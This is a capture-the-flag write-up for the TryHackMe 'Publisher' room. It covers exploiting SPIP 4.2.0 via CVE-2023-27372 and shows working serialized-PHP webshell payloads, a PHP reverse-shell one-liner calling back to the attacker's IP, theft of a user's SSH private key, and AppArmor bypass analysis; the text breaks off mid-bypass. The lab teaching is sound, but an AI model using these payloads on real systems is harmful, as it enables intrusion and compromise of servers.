# Publisher

{% embed url="<https://tryhackme.com/r/room/publisher>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUY4cMxPmQvurUJvFK7lb%2Fimage.png?alt=media&#x26;token=c99dbcac-cdcc-465b-8ffd-2cd3fac6464a" alt="" data-size="line"><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FSznbBRdyt8wY71fXA2mM%2Fimage.png?alt=media&#x26;token=71248350-0b93-4df1-af98-d491ab7e6e4a" alt="" data-size="line">

**`Machine IP`**: 10.10.141.14

**`Hosts file entry`**: echo '10.10.141.14 publisher.thm' | sudo tee -a /etc/hosts

**`Nmap Scan`**:&#x20;

```bash
nmap -p- -A -v --min-rate 100 -oN publisher_thm -Pn publisher.thm

Nmap scan report for publisher.thm (10.10.141.14)
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 2.6.32 (93%), Linux 2.6.39 - 3.2 (93%), Linux 3.1 - 3.2 (93%), Linux 3.2 - 4.9 (93%), Linux 3.7 - 3.10 (93%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 41.776 days (since Sun May 19 18:17:00 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=262 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 587/tcp)
HOP RTT       ADDRESS
1   156.74 ms 10.11.0.1
2   156.12 ms publisher.thm (10.10.141.14)
```

The scan results shows that we have two ports open, that is port **`22`** & **`80`** . On port **`80`** an **`Apache web server`** is running.

### Enumeration

**`Checking out port 80`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fwp6SZU84l23wS9QvhTyP%2Fimage.png?alt=media&#x26;token=f815b7bf-6526-446b-bbed-50a8de5c9ab1" alt=""><figcaption></figcaption></figure>

**`Directory Busting`**:

**`Command`**:

```bash
dirsearch -u http://publisher.thm/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
```

There is a path named **`/spip`**. We can check this out:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FOlkHhp3HL90lvEJ3PD1h%2Fimage.png?alt=media&#x26;token=7a925238-072e-4b01-b36e-3dbfa8010bcd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FcKip7iizd5NSknbMnmci%2Fimage.png?alt=media&#x26;token=678891ca-bf4a-4ab3-a03a-857c1b5e0c44" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Flxv6LuR2sGohxq29rsbX%2Fimage.png?alt=media&#x26;token=fde83bbc-4ad0-4855-aa02-129cd4a27d5e" alt=""><figcaption></figcaption></figure>

Towards the **`end`** of this page that contains the **`blog`**, we have a **`dialog box`** where we can type in and send **`messages`**. We can test for **`XSS`** here by using a simple **`payload`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FKvOtrHBzHkkIXKQ7nUWR%2Fimage.png?alt=media&#x26;token=082102c8-e45c-4eba-a741-d7a5d954dc8d" alt=""><figcaption></figcaption></figure></div>

Now let's set up a **`netcat`** listener on port **`80`**. If the above **`payload`** works we should be getting a connection back on our listener after clicking on the button that lets us preview how the message looks before we confirm it, to get it posted. This basically shows that the server has reached out to our machine. The **`IP`** specified in the **`payload`** is the **`tun0`** interface **`IP`**.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUMDYOdM3aqobvMgLFCzH%2Fimage.png?alt=media&#x26;token=48bc61d4-6fda-4e30-8ac7-b17c3a18e67a" alt=""><figcaption></figcaption></figure></div>

And we indeed get a connection, so we have **`successful XSS`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fo6FLc3BHWnIoM0jd74C3%2Fimage.png?alt=media&#x26;token=507163eb-be74-4a7e-869a-4349ecd938b0" alt=""><figcaption></figcaption></figure>

But this **`XSS`** is pretty much **`pointless`** as we do not have any further attack vectors to amplify it's impact.

We can see what **`Wappalyzer`** tells us:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fm5fO3x4Wsq7mKDYL2Txk%2Fimage.png?alt=media&#x26;token=9f327528-61b4-491b-b771-66fbd522066f" alt=""><figcaption></figcaption></figure></div>

The **`CMS`** (**`Content management system`**) being used is **`SPIP`** - **`4.2.0`**.&#x20;

The same information can be also fetched by checking the **`source code`** of the **`/spip`** page:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FiknTVBtdaSA5hKLMy4q1%2Fimage.png?alt=media&#x26;token=6d7b3502-2cdf-4548-96f6-b858b56f4e5a" alt=""><figcaption></figcaption></figure>

Now we can try to find some **`exploits`** for this **`version`** of the **`CMS`**.

### Exploitation

**`Finding exploits`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FD5zfRRokNjyElxY2F22l%2Fimage.png?alt=media&#x26;token=6db47f11-cc23-4c64-82ba-f02c83ae9160" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/nuts7/CVE-2023-27372>" %}
CVE-2023-27372
{% endembed %}

**`SPIP`** before **`4.2.1`** allows **`Remote Code Execution`** via form values in the public area because **`serialization`** is **`mishandled`**. The fixed versions are **`3.2.18`**, **`4.0.10`**, **`4.1.8`**, and **`4.2.`**&#x31;. Since **`4.2.0`** is what is being used in our case, it could be **`potentially`** be **`vulnerable`** to this **`exploit`**. The **`vulnerability`** exists in the **`oubli`** parameter and allows an **`unauthenticated user`** to **`execute arbitrary commands`** with **`web user privileges`**.

It is possible to inject a serialized **`PHP string`** containing **`PHP`** code into the variable **`$_POST['oubli']`** when **`resetting a password`** on the endpoint **`/spip.php?page=spip_pass`** in order to have an **`RCE`** on the server.

The **`regex`** is used in the **`protege_champ()`** function is **`flawed`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FpiJ97ah1vdMiEffqPsGM%2Fimage.png?alt=media&#x26;token=ead6f024-dfd4-4ca0-a67c-fc51ff99a878" alt=""><figcaption></figcaption></figure></div>

```bash
return $texte; //$texte = $_POST['oubli']
```

The **`regex`** pattern **`filters out`** strings that **`do not`** start with **`a:`**, **`b:`**, **`i:`**, or **`s:`** followed by digits and ended with **`:`** or **`;`**. We can make use of the **`s`** specifier that represents a **`string`** in **`PHP`**, to use **`PHP payloads`**, a **`serialized string`**.

**`The endpoint`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FBCThA848oSxg6VfVG36S%2Fimage.png?alt=media&#x26;token=65c8b697-0e2c-44f1-8456-e87d246edbb5" alt=""><figcaption></figcaption></figure>

**`A basic payload`**:

```bash
s:19:"<?php phpinfo(); ?>";  //19 is the length of the string
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F2whwCfuz2x05UFMfUGhH%2Fimage.png?alt=media&#x26;token=b75552fa-2f34-4cb4-a491-f61464ee494b" alt=""><figcaption></figcaption></figure>

This **`payload`** matches the **`regex`** and when the **`unserialize`** function gets called **`without`** **`proper validation`**, it will **`execute`** our **`arbitrary code`**.

**`Intercepted Request in Burp`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F7WWfkDqa45W5MAKovevw%2Fimage.png?alt=media&#x26;token=15fa2394-07b0-4606-80aa-c774d2397d31" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FnSbe9hxjViiq2DfMvPBE%2Fimage.png?alt=media&#x26;token=1f4dc0fa-7781-4c71-828d-2098d975c586" alt=""><figcaption><p>oubli parameter</p></figcaption></figure>

**`Testing the payload`**:

**`URL encoded payload`**:

```bash
s%3a19%3a"<%3fphp+phpinfo()%3b+%3f>"%3b
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FgXSvP5OP0KY5MnrWdeNE%2Fimage.png?alt=media&#x26;token=5476d5c6-0e99-4f85-9ff2-d99538ead4f0" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FTvi5uKzyABdhPKzAq8He%2Fimage.png?alt=media&#x26;token=5786928f-7594-4ee8-bb94-d74d49eb0747" alt=""><figcaption></figcaption></figure></div>

We now have **`successful RCE`**.

**`Using a webshell`**:

```php
<?php echo shell_exec($_GET['cmd']); ?>
```

We have to firstly find the **`length`** of the above **`webshell`** to make use of it as a **`payload`**. A **`script`** to achieve this:

```php
<?php
$string = '<?php echo shell_exec($_GET["cmd"]); ?>';
echo strlen($string);
?>
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fo21oENzFJvUkwwWWgGgt%2Fimage.png?alt=media&#x26;token=beaac73c-f565-43bd-8d3f-c4930e6b925a" alt=""><figcaption></figcaption></figure></div>

The **`length`** is **`39`**.

**`The payload`**:

```bash
s:39:"<?php echo shell_exec($_GET['cmd']); ?>";
```

**`URL encoded payload`**:

```bash
s%3a39%3a"<%3fphp+echo+shell_exec($_GET['cmd'])%3b+%3f>"%3b
```

**`Sending the request & checking out the webshell`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FDDXU8uUhq2fWIyZNYIa7%2Fimage.png?alt=media&#x26;token=a7068abe-83fb-4fad-bd45-d3fda8a5c19e" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FL3ECORmB5HcaP3ULzBsF%2Fimage.png?alt=media&#x26;token=7f3c7c2c-76a1-4f05-b8ce-69c46d1a5564" alt=""><figcaption><p>id command</p></figcaption></figure>

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FhaTSX1vqOWFJHIyGmtqm%2Fimage.png?alt=media&#x26;token=a34b76ce-9f24-4b8f-ae08-ef2d9361c300" alt=""><figcaption></figcaption></figure>

We can see the output of the **`id`** command in the **`response`**.

### Foothold

**`Using a reverse shell in the webshell`**:

```php
php -r '$sock=fsockopen("10.11.75.84",443);exec("sh <&3 >&3 2>&3");'  //The IP here is the tun0 interface IP
```

**`URL encoded`**:

```bash
php+-r+'$sock%3dfsockopen("10.11.75.84",443)%3bexec("sh+<%263+>%263+2>%263")%3b'
```

Setting up a listener on port **`443`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FZxBtlytIzlOLOPPw31Ah%2Fimage.png?alt=media&#x26;token=f509b8e8-0f0b-4405-9858-6c267908cad6" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FYotPyRkVsrtWPKhQlnAg%2Fimage.png?alt=media&#x26;token=c6c87cde-7704-405e-be35-986498304263" alt=""><figcaption></figcaption></figure></div>

We have got a connection as **`www-data`**.

### Lateral Movement

Checking out the **`/home`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fp896OzuUX9SuAftMMc66%2Fimage.png?alt=media&#x26;token=a0c8ab42-39a3-4cd2-8e7c-18de8ee6e6b6" alt=""><figcaption></figcaption></figure></div>

There is a **`user`** named **`think`**.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FEnVCoMHygkYvOF4Htf5U%2Fimage.png?alt=media&#x26;token=d1895488-3c42-445b-96af-a09cfc05b7d1" alt=""><figcaption></figcaption></figure></div>

We get the **`user flag`** in think's **`home`** directory. The flag file's **`owner`** and **`group`** is **`root`**. It has **`read`** (**`r`**) **`permissions`** for **`others`** and due to this we as **`www-data`** are able to **`cat`** out the flag.

We can now get inside the **`.ssh`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F8kz5FCY1xVDI3k2KkXfG%2Fimage.png?alt=media&#x26;token=e563a88c-ec76-4e9b-957b-0ba26e869f46" alt=""><figcaption></figcaption></figure></div>

The **`private key`** of the user **`think`** is present and we can read it. This can be used to **`SSH`** in as **`think`**, post putting in to a file on our **`attacker machine`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FAQTdjTnF3VwdWKPVpPH4%2Fimage.png?alt=media&#x26;token=758f8225-e6e7-4600-a55c-a7cfcacc444d" alt=""><figcaption></figcaption></figure></div>

**`Command`**:

```bash
ssh think@publisher.thm -i id_rsa
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FXqdLvJ1GK8vzWNTJarAO%2Fimage.png?alt=media&#x26;token=c8aa217b-ac50-4e0c-b150-2643aa1b9790" alt=""><figcaption></figcaption></figure></div>

We are now **`think`**.

### Further Enumeration

Checking for **`binaries`** that have the **`SUID`** bit set:

**`Command`**:

```bash
find / -perm -u=s -type f 2>/dev/null
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F5XMnAl4R4pQBPDuGgly9%2Fimage%20(13).png?alt=media&#x26;token=55c2ad52-f5ca-42fa-a93f-b0a63c5f244d" alt=""><figcaption></figcaption></figure></div>

We can see that a **`custom binary`** named **`run_container`** has the **`SUID bit`** set and it is located within the **`/usr/sbin`** directory.

**`Checking out the binary`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F8nimvgtY7CM5EySt5jm5%2Fimage.png?alt=media&#x26;token=0962322d-3d3a-4175-8775-423ad99ecf17" alt=""><figcaption></figcaption></figure></div>

The **`owner`** of this **`binary`** is **`root`**. Due to the bit being set when this **`binary`** is run, it will run as the **`owner`**, that is **`root`**.  We have now found out the path to get to **`root`**.&#x20;

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fv7m6kA8VANbGKPV7JWT6%2Fimage.png?alt=media&#x26;token=c42e6e6e-805d-4edf-9eb6-5ba450004785" alt=""><figcaption></figcaption></figure></div>

Upon running it we get an error from a file named **`run_container.sh`** that is present within the **`/opt`** directory. This means that the **`binary`** is running that script. Confirming the same:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FtgqqgfYDFp0QJKME05E8%2Fimage.png?alt=media&#x26;token=2cb77de1-b1ed-4fa2-a2ab-3b72f872aa02" alt=""><figcaption></figcaption></figure></div>

We can also use utilities like **`xxd`**, **`hexdump`** etc. to analyze a **`binary file`** like the one in this case.

**`Checking out the /opt directory and the script`**:

Upon trying to **`list`** out the **`contents`** of the **`/opt`** directory we get a **`Permission Denied`** error:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FTkdcC2CoxU4V887yLQWz%2Fimage%20(14).png?alt=media&#x26;token=82512d45-ac27-4b9b-a34a-5d5d47e55d5c" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Ftu4AujfSRyhlw6b7e0CS%2Fimage%20(15).png?alt=media&#x26;token=8ca48ce6-4b4f-4d8b-968b-490ed0c7a1af" alt=""><figcaption></figcaption></figure></div>

This indeed seems **`strange`**.&#x20;

The **`owner`** and the **`group`** is **`root`**, but others have **`execute`** (**`x`**) **`permissions`** on this directory and the user **`think`** falls under **`others`** in this case and hence we **`should have`** been able to **`list`** out the **`contents`** of the **`/opt`** directory, but we are **`denied`**.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FjQPtUFvCGjJLyLTWcZcd%2Fpic.png?alt=media&#x26;token=f3d7d9ca-b04d-44f0-b1d1-2b71e485e86f" alt=""><figcaption></figcaption></figure></div>

The script file's **`owner`** and **`group`** are both **`root`** and we as the user **`think`** has **`read`**, **`write`** & **`execute`** **`permissions`** on the file as **`think`** falls under **`others`**.

We are able to **`read`** the file as expected:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FWDSoaYg27aJnZBiCZfKh%2Fimage.png?alt=media&#x26;token=0e59180b-d423-434d-a471-55724f0d4b7e" alt=""><figcaption></figcaption></figure></div>

But we aren't able to **`write`** into it even though the user **`think`** had **`write permissions`** on it:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FkETXJ7sMA9DcYyJS8HaD%2Fimage.png?alt=media&#x26;token=1cbdaad9-d01e-4988-a34a-b807ed2628d5" alt=""><figcaption></figcaption></figure></div>

Yet again we are facing the same issue that we had encountered with the **`/opt`** directory.

This means that there is **`something`** running on the machine that is making the file permissions too under it's control and **`restricting`** us. The best way to see what exactly could be going on is to see what **`services`** are **`running`** on the machine.

**`Checking out running services`**:

**`Command`**:

```bash
service --status-all | grep '+'
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FvHmFg49DytkSihh7oe2n%2Fimage.png?alt=media&#x26;token=98358cbc-be93-4de4-a5f1-021125f3a09f" alt=""><figcaption></figcaption></figure></div>

We can see that **`apparmor`** is **`running`**. **`Apparmor`** is a **`Linux security module`** used to **`restrict`** an **`applications capabilities`** based on their **`apparmor profiles`**. The presence of this could be the reason why we aren't able to **`list`** out **`contents`** of the **`/opt`** directory.

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/apparmor>" %}

**`Apparmor profiles`** are usually saved in **`/etc/apparmor.d/`**. Checking out this directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwenMqYyxtBi6EhKk2apY%2Fimage.png?alt=media&#x26;token=1fe618f9-dfa7-4fd2-83c1-c3eb004f095c" alt=""><figcaption></figcaption></figure></div>

There is an **`apparmor profile`** for the **`ash`** binary. **`Ash`** is a lightweight and efficient shell interpreter in Unix-like operating systems. This leads us to think that we, as the user **`think`**, are possibly on an **`ash shell`** and not on the **`default bash`**.&#x20;

**`Checking out the shell environment`**:

**`Commands`**:

```bash
ps -p $$ -o args=
```

```bash
getent passwd think
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FOqIcy9mCplJMHN96E7RJ%2Fimage.png?alt=media&#x26;token=6efe7a41-814c-4282-917d-55e6eb4cfb3f" alt=""><figcaption></figcaption></figure></div>

The output of these commands shows that we are indeed on an **`ash shell`**.&#x20;

Now let us check out the **`apparmor profile`** for **`ash`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FBNLIuWuHHTjHuzwqCA8C%2Fimage.png?alt=media&#x26;token=772c2353-838a-4e9e-96d1-9284fc8197b7" alt=""><figcaption></figcaption></figure></div>

```bash
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}
```

**`Explanation`**:

**`/usr/sbin/ash flags=(complain)`**:  This shows that the **`profile`** for the **`ash`** binary is in **`complain mode`**, where **`violations`** are **`logged`** but not **`enforced/blocked`**.

**`The deny rules`**:

```bash
deny /opt/ r,    //Denies read access to the /opt directory alone but not it's contents
deny /opt/** w,  //Denies immediate write access to the /opt directory along with it's subdirs
deny /tmp/** w,  //Denies immediate write access to the /tmp directory inluding it's subdirs
deny /dev/shm w, //Denies write access to the /dev/shm directory alone but not it's contents (Can't rename the shm directory)
deny /var/tmp w, //Denies write access to the /var/tmp directory alone but not it's contents (Can't rename the tmp directory)
deny /home/** w, //Denies immediate write access to the /home directory along with it's subdirs
```

We now know exactly why we weren't able to **`list`** the **`contents`** of the **`/opt`** directory and also why we couldn't **`write`** into the **`run_container.sh`** file even though the **`file permissions`** was in our favor with the **`shell`** being **`ash`**.&#x20;

**`Note`**:

**`Deny rules`** in profiles are **`enforced/blocked`** even in **`complain mode`**.

**`The allow rules`**:

```bash
/usr/bin/** mrix,  //Allows read, inherit and execute (ix) for all binaries within the /usr/bin directory
/usr/sbin/** mrix, //Allows read, inherit and execute (ix) for all binaries within the /usr/sbin directory
owner /home/** rix, //Allows read, inherit and execute (ix) for all the contents within the /home directory owned by their respective users
```

Due to **`inheritance`** in the above **`allow rules`**, everything within those mentioned directories will be under the **`restrictions`** of the **`ash`** profile, which are nothing but the **`deny rules`**.

**`AppArmor Bypass`**:

**`Thought process`**:

To **`bypass`** the **`restrictions`** we have on the **`ash shell`** that we are currently on as the user **`think`**, we can use a **`bash shell`**. We can try different ways to achieve the same.

**`Note`**:

I will demonstrate **`three`** methods to obtain a **`bash shell`** and explain why only **`one`** of these methods works. Additionally, I will provide reasons why the other **`two`** methods fail.

**`First Method`**:&#x20;

To get a **`bash shell`** we can just type in **`bash`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FwPDmcqnNqk2DugByJgLs%2Fimage.png?alt=media&#x26;token=f60c1af4-fd3b-40dc-ab51-0d104b1d5b98" alt=""><figcaption></figcaption></figure>

Now we are in a **`bash shell`** environment.

Now let us try to list out contents of the **`/opt`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FJxIADWbjrDGWqLsJIDy6%2Fimage.png?alt=media&#x26;token=58385f20-1753-4380-b7be-c832a73d04b7" alt=""><figcaption></figcaption></figure></div>

It didn't work.&#x20;

That means we still **`aren't`** able to **`bypass`** the **`ash's apparmor restrictions`** even though we were on a **`bash shell`** and not on an **`ash`**. This is because when we typed in **`bash`**, the **`bash`** that got executed was from the **`/usr/bin/`** directory (The shell checks the **`$PATH`** environment variable when we type in **`bash`** and it **`runs`** it from the **`first directory`** that it is found in, exactly why the **`which`** command gave us **`/usr/bin/bash`**) and due to the **`inheritance`** in this **`allow rule`**: **`/usr/bin/** mrix`**, the **`bash shell`** that we got was still under the **`restrictions`** of the **`profile`** that is, the **`deny rules`** so the **`deny read rule`** on the **`/opt`** directory was applied.

**`Second Method`**:

Before we get started, let us get back to the **`ash shell`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FJ0IrcaJDzXZAduNSQPnG%2Fimage.png?alt=media&#x26;token=69e861e7-a1a4-4ac8-b11d-b377908819ee" alt=""><figcaption></figcaption></figure></div>

Now type in **`/bin/bash`**. Upon doing this, the **`bash`** should be executed from within the **`/bin`** directory.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F1BdGAcXT94PJ55e87dln%2Fimage%20(20).png?alt=media&#x26;token=6af758d9-2e05-476e-8fa9-179e9f16723e" alt=""><figcaption></figcaption></figure></div>

Again let us try to list out the contents of the **`/opt`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FQrmXGK2qiXON77BEaUei%2Fimage.png?alt=media&#x26;token=d2ea30a5-bd75-480e-88e0-dd6ea700be33" alt=""><figcaption></figcaption></figure></div>

It didn't work, which at this point seems strange as we executed **`bash`** from the **`/bin`** directory and **`ash's apparmor profile`** has no **`rule`** that **`restricts`** anything being run from the **`/bin`** directory.&#x20;

But upon using **`realpath`**, we notice that it outputs **`/usr/bin/bash`**:

**`Command`**:

```bash
realpath /bin/bash
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FHUjiYrd6jWYZIN2uXawf%2Fimage.png?alt=media&#x26;token=d416190d-a749-4c28-af9d-d6b6b9c0b4a0" alt=""><figcaption></figcaption></figure></div>

This means there is mostly a **`symbolic link`** case here as **`realpath`** resolves **`symbolic links`** present, if any and then it outputs the final **`absolute path`**.

Now we can fetch **`symbolic links`** present on the machine:

**`Command`**:

```bash
find / -type l 2> /dev/null
```

